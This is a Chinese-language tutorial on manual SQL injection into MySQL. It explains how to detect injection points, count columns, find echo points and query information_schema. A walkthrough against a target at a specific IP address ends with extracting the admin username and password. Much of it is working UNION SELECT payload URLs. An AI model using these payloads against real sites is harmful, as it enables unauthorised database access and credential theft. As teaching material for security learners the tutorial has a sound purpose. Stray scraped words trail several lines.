SQL注入(上)

判斷注入點

id=1',在1後面加',頁面出錯
id=1 and 1=1正常,id=1 and 1=2,頁面出錯
id=1 and 1='1'正常,id=1 and 1='1'頁面出錯
注:經過構造錯誤的語句,根據返回結果來判斷是否存在注入點php

手動注入

  • 判斷字段數
    id =1 order by x,x=1,2,3,4,·······,按第1,2,3,4,······列進行排序
  • 判斷回顯點
    union select 1,2,3,4,5,6,7,8,9,10,11 from admin,1,2,3,4...,這裏的幾個數字純粹是湊數的,湊夠和union關鍵字前面的那個表的字段數同樣,否則無法拼接成一個表。在sql注入的時候,在將相應位置替換成你想得到的數據,查詢結果後面就會顯示出來;效果是from當前字段對應的服務器端的一張表。權限確定有限制,因此要看返回的數字才能肯定哪一列能夠回顯到客戶端,而不是隨便哪一列都能利用的。好比服務器返回3,說明第3列能夠回顯

查詢相關內容

  • 主機名
    @@hostname
  • OS
    @@version_compile_os
  • 查詢數據庫文件位置
    @@datadir
  • 查詢當前數據庫用戶
    user()
  • 獲取數據庫名
    database()
  • 獲取數據庫版本
    version()或@@version
  • information_schema
    MySQL 5.0以上自帶的數據庫,記錄當前MySQL下全部數據庫名、表名、字段名mysql

    • information_schema.tables 記錄全部表名的表(.表明下一級的意思)
    • information_schema.columns 記錄列名信息的表
    • table_name 表名
    • column_name 列名
    • table_schema 數據庫名
  • 將ASC碼轉成對應字符
    char()
  • 字符串鏈接函數,可提升查詢效率,char()中的字符起到分隔字符串的做用
    concat_ws(char(x,y,,z)@@version,@@datadir,``,@@version_compile_os,char(48))
  • 切分字符串
    substring_index(user(),''@'',1)
    將user()這個函數的返回值(字符串)以@爲界限進行切分(好像用單引號'@'也行),顯示第1段
  • 計算字符串x的md5值
    md5('x')
  • 減小視覺污染,在某個回顯點不顯示內容
    nullsql

    注:查詢列名時,回顯點有可能會顯示出其餘數據庫中的同表名的列名,是由於其餘數據庫中可能存在同名的表
  • 得到表內數據

    union select 1,2,3,4,5,6,7,8,9,10 from 表名
    在回顯點選擇想要得到的字段名,如:
    union select 1,2,3,4,password,6,7,8,9,10 from 表名數據庫

實戰

目標連接:http://120.203.13.75:6815/index.php服務器

  • 找注入點:函數

    http://120.203.13.75:6815/index.php?id=1 and 1=2
  • 判斷字段數spa

    http://120.203.13.75:6815/index.php?id=1 order by 2

    一、2均正常顯示,3的時候出現異常,則當前表的字段數爲2code

  • 判斷回顯點orm

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2

    clipboard.png

  • 查相關內容(必定要在回顯點處查看!)
    查數據庫名blog

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()

    clipboard.png

    查數據庫版本(mysql>5.0,5.0 之後的版本纔有information_schema, information_schema存儲着數據庫名、表名、列的數據類型、訪問權限等)

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()

    clipboard.png
    查表名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

    clipboard.png

    查字段名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

    clipboard.png

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

    clipboard.png

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

    clipboard.png
    查出 admin 表裏 有 id username password 三個字段

    查詢字段內容
    構造

    ?id=1 and 1=2 union select 1,username from admin  limit 0,1

    clipboard.png

    構造

    ?id=1 and 1=2 union select 1,password from admin  limit 1,1

    clipboard.png

    limit 1,1 沒有回顯,說明只有一個用戶

    構造

    ?id=1 and 1=2 union select 1,password from admin  limit 0,1

    clipboard.png

    如此,獲得了管理員帳號和密碼

相關文章
相關標籤/搜索